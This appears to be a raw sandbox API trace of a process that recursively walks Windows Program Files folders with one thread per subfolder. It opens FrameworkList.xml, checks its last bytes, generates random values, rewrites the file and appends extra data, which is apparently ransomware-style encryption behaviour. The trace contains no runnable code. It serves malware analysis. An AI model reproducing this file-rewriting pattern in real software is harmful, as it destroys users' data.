	[0092.556] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x22000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Classic.dll", cAlternateFileName="")) returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Classic.dll", _String2=".") returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Classic.dll", _String2="..") returned 1
	[0092.556] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x46d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.dll", cAlternateFileName="")) returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.dll", _String2=".") returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.dll", _String2="..") returned 1
	[0092.556] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x521e226f, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x521e226f, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x5d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Luna.dll", cAlternateFileName="")) returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Luna.dll", _String2=".") returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Luna.dll", _String2="..") returned 1
	[0092.556] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x522084cb, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x522084cb, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PresentationFramework.Royale.dll", cAlternateFileName="")) returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Royale.dll", _String2=".") returned 1
	[0092.556] wcscmp (_String1="PresentationFramework.Royale.dll", _String2="..") returned 1
	[0092.556] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5227abf5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5227abf5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xb94bbf00, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x82000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReachFramework.dll", cAlternateFileName="")) returned 1
	[0092.556] wcscmp (_String1="ReachFramework.dll", _String2=".") returned 1
	[0092.556] wcscmp (_String1="ReachFramework.dll", _String2="..") returned 1
	[0092.556] FindNextFileW (in: hFindFile=0x46a8498, lpFindFileData=0x4713348 | out: lpFindFileData=0x4713348*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1
	[0092.556] wcscmp (_String1="RedistList", _String2=".") returned 1
	[0092.556] wcscmp (_String1="RedistList", _String2="..") returned 1
	[0092.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x94) returned 0x4895720
	[0092.556] wcscpy (in: _Dest=0x4895720, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0"
	[0092.556] wcscat (in: _Dest=0x4895720, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\"
	[0092.556] wcscat (in: _Dest=0x4895720, _Source="RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList"
	[0092.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x98) returned 0x4894f00
	[0092.556] wcscpy (in: _Dest=0x4894f00, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList"
	[0092.556] wcscat (in: _Dest=0x4894f00, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\"
	[0092.556] wcscat (in: _Dest=0x4894f00, _Source="*" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*"
	[0092.556] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x4711da0
	[0092.556] FindFirstFileW (in: lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\*", lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a84d8
	[0092.559] wcscmp (_String1=".", _String2=".") returned 0
	[0092.559] FindNextFileW (in: hFindFile=0x46a84d8, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79a3b1b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79a3b1b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0092.559] wcscmp (_String1="..", _String2=".") returned 1
	[0092.559] wcscmp (_String1="..", _String2="..") returned 0
	[0092.559] FindNextFileW (in: hFindFile=0x46a84d8, lpFindFileData=0x4711da0 | out: lpFindFileData=0x4711da0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe79a3b1b, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4eb997b, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4eb997b, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x1bd4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="FRAMEW~1.XML")) returned 1
	[0092.560] wcscmp (_String1="FrameworkList.xml", _String2=".") returned 1
	[0092.560] wcscmp (_String1="FrameworkList.xml", _String2="..") returned 1
	[0092.560] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2c2a0
	[0092.560] wcscpy (in: _Dest=0x4f2c2a0, _Source="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList"
	[0092.560] wcscat (in: _Dest=0x4f2c2a0, _Source="\\" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\"
	[0092.560] wcscat (in: _Dest=0x4f2c2a0, _Source="FrameworkList.xml" | out: _Dest="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml") returned="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml"
	[0092.560] GetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml")) returned 0x20
	[0092.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml", dwFileAttributes=0x20) returned 1
	[0092.562] CreateFileW (lpFileName="C:\\Program Files\\Reference Assemblies\\Microsoft\\Framework\\v3.0\\RedistList\\FrameworkList.xml" (normalized: "c:\\program files\\reference assemblies\\microsoft\\framework\\v3.0\\redistlist\\frameworklist.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x13a4
	[0092.562] GetFileSizeEx (in: hFile=0x13a4, lpFileSize=0x180bfcc0 | out: lpFileSize=0x180bfcc0*=7124) returned 1
	[0092.562] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x1bd0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.562] ReadFile (in: hFile=0x13a4, lpBuffer=0x180bfc44, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x180bfc40, lpOverlapped=0x0 | out: lpBuffer=0x180bfc44*, lpNumberOfBytesRead=0x180bfc40*=0x4, lpOverlapped=0x0) returned 1
	[0092.565] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0092.565] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731b50
	[0092.565] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731920
	[0092.565] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4731ba0
	[0092.565] NtQuerySystemTime (in: CurrentTime=0x180bfc20 | out: CurrentTime=0x180bfc20*=132251868193065128) returned 0x0
	[0092.565] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x3996a541
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xf9cdc8b0
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x365d737c
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x49b69fa8
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x82ca6d1d
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xf653ae21
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x243203c8
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x405e979b
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xeb3f3b84
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x7cc2acda
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x998979e9
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xc9ea79cf
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x9418c288
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xd522436a
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x59bac112
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x4b988687
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x75203111
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xbfcb7d7a
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x3c11843c
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x2870943e
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xcca38148
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x519884ba
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x7ecad6d6
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x8cd446a0
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x5b02988c
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x2ead4cd9
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x5e316589
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x93187176
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xd5f47ece
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x47ae64
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0xa7061003
	[0092.566] RtlRandom (in: Seed=0x180bfc2c | out: Seed=0x180bfc2c) returned 0x676c2c87
	[0092.575] ReadFile (in: hFile=0x13a4, lpBuffer=0x50ef8b8, nNumberOfBytesToRead=0x1bd4, lpNumberOfBytesRead=0x180bfc1c, lpOverlapped=0x0 | out: lpBuffer=0x50ef8b8*, lpNumberOfBytesRead=0x180bfc1c*=0x1bd4, lpOverlapped=0x0) returned 1
	[0093.053] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.053] WriteFile (in: hFile=0x13a4, lpBuffer=0x50fc0c0*, nNumberOfBytesToWrite=0x1bd4, lpNumberOfBytesWritten=0x180bfc18, lpOverlapped=0x0 | out: lpBuffer=0x50fc0c0*, lpNumberOfBytesWritten=0x180bfc18*=0x1bd4, lpOverlapped=0x0) returned 1
	[0093.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984aa0
	[0093.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4984a28
	[0093.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4984a28) returned 1
	[0093.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50fc0c0) returned 1
	[0093.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50ef8b8) returned 1
	[0093.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e042e8) returned 1
	[0093.396] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfaa00) returned 1
	[0093.396] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x2f) returned 0x5058e68
	[0093.397] SetFilePointerEx (in: hFile=0x13a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0093.397] WriteFile (hFile=0x13a4, lpBuffer=0x4771be0, nNumberOfBytesToWrite=0x113, lpNumberOfBytesWritten=0x180bfc80, lpOverlapped=0x0) 

Thread:
	id = 637
	os_tid = 0x1920

	[0077.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476da98
	[0077.818] wcscpy (in: _Dest=0x476da98, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0077.818] wcscat (in: _Dest=0x476da98, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\"
	[0077.818] wcscat (in: _Dest=0x476da98, _Source="*" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*"
	[0077.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x475a240
	[0077.818] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2daccf8
	[0078.266] wcscmp (_String1=".", _String2=".") returned 0
	[0078.266] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0078.266] wcscmp (_String1="..", _String2=".") returned 1
	[0078.266] wcscmp (_String1="..", _String2="..") returned 0
	[0078.266] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe79312f8, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe79312f8, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1
	[0078.266] wcscmp (_String1="v3.0", _String2=".") returned 1
	[0078.266] wcscmp (_String1="v3.0", _String2="..") returned 1
	[0078.266] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476e1e8
	[0078.266] wcscpy (in: _Dest=0x476e1e8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0078.266] wcscat (in: _Dest=0x476e1e8, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\"
	[0078.266] wcscat (in: _Dest=0x476e1e8, _Source="v3.0" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0"
	[0078.267] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476e1e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xc04
	[0078.267] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0078.267] wcscmp (_String1="v3.5", _String2=".") returned 1
	[0078.267] wcscmp (_String1="v3.5", _String2="..") returned 1
	[0078.267] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x88) returned 0x476dcd8
	[0078.267] wcscpy (in: _Dest=0x476dcd8, _Source="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation"
	[0078.267] wcscat (in: _Dest=0x476dcd8, _Source="\\" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\"
	[0078.267] wcscat (in: _Dest=0x476dcd8, _Source="v3.5" | out: _Dest="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5"
	[0078.268] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x476dcd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa88
	[0078.268] FindNextFileW (in: hFindFile=0x2daccf8, lpFindFileData=0x475a240 | out: lpFindFileData=0x475a240*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe79312f8, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe795770f, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe795770f, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0078.268] FindClose (in: hFindFile=0x2daccf8 | out: hFindFile=0x2daccf8) returned 1
	[0078.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x475a240) returned 1
	[0078.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476da98) returned 1
	[0078.268] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e35368) returned 1

Thread:
	id = 638
	os_tid = 0x1924

	[0077.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x60) returned 0x4780640
	[0077.819] wcscpy (in: _Dest=0x4780640, _Source="C:\\Program Files\\Microsoft Office\\root\\client" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\client") returned="C:\\Program Files\\Microsoft Office\\root\\client"
	[0077.819] wcscat (in: _Dest=0x4780640, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\client\\") returned="C:\\Program Files\\Microsoft Office\\root\\client\\"
	[0077.819] wcscat (in: _Dest=0x4780640, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\root\\client\\*") returned="C:\\Program Files\\Microsoft Office\\root\\client\\*"
	[0077.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x47582f8
	[0077.819] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\*", lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7690
	[0082.018] wcscmp (_String1=".", _String2=".") returned 0
	[0082.018] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x86813dc4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd2ca2e08, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd2ca2e08, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.020] wcscmp (_String1="..", _String2=".") returned 1
	[0082.020] wcscmp (_String1="..", _String2="..") returned 0
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0715cb9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0715cb9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0952017, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~1.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-file-l1-2-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-file-l1-2-0.dll", _String2="..") returned 1
	[0082.020] FindNextFileW (in: hFindFile=0x46a7690, lpFindFileData=0x47582f8 | out: lpFindFileData=0x47582f8*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xd0952017, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd0952017, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd0a832cb, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="api-ms-win-core-file-l2-1-0.dll", cAlternateFileName="API-MS~3.DLL")) returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-file-l2-1-0.dll", _String2=".") returned 1
	[0082.020] wcscmp (_String1="api-ms-win-core-file-l2-1-0.dll", _String2="..") returned 1
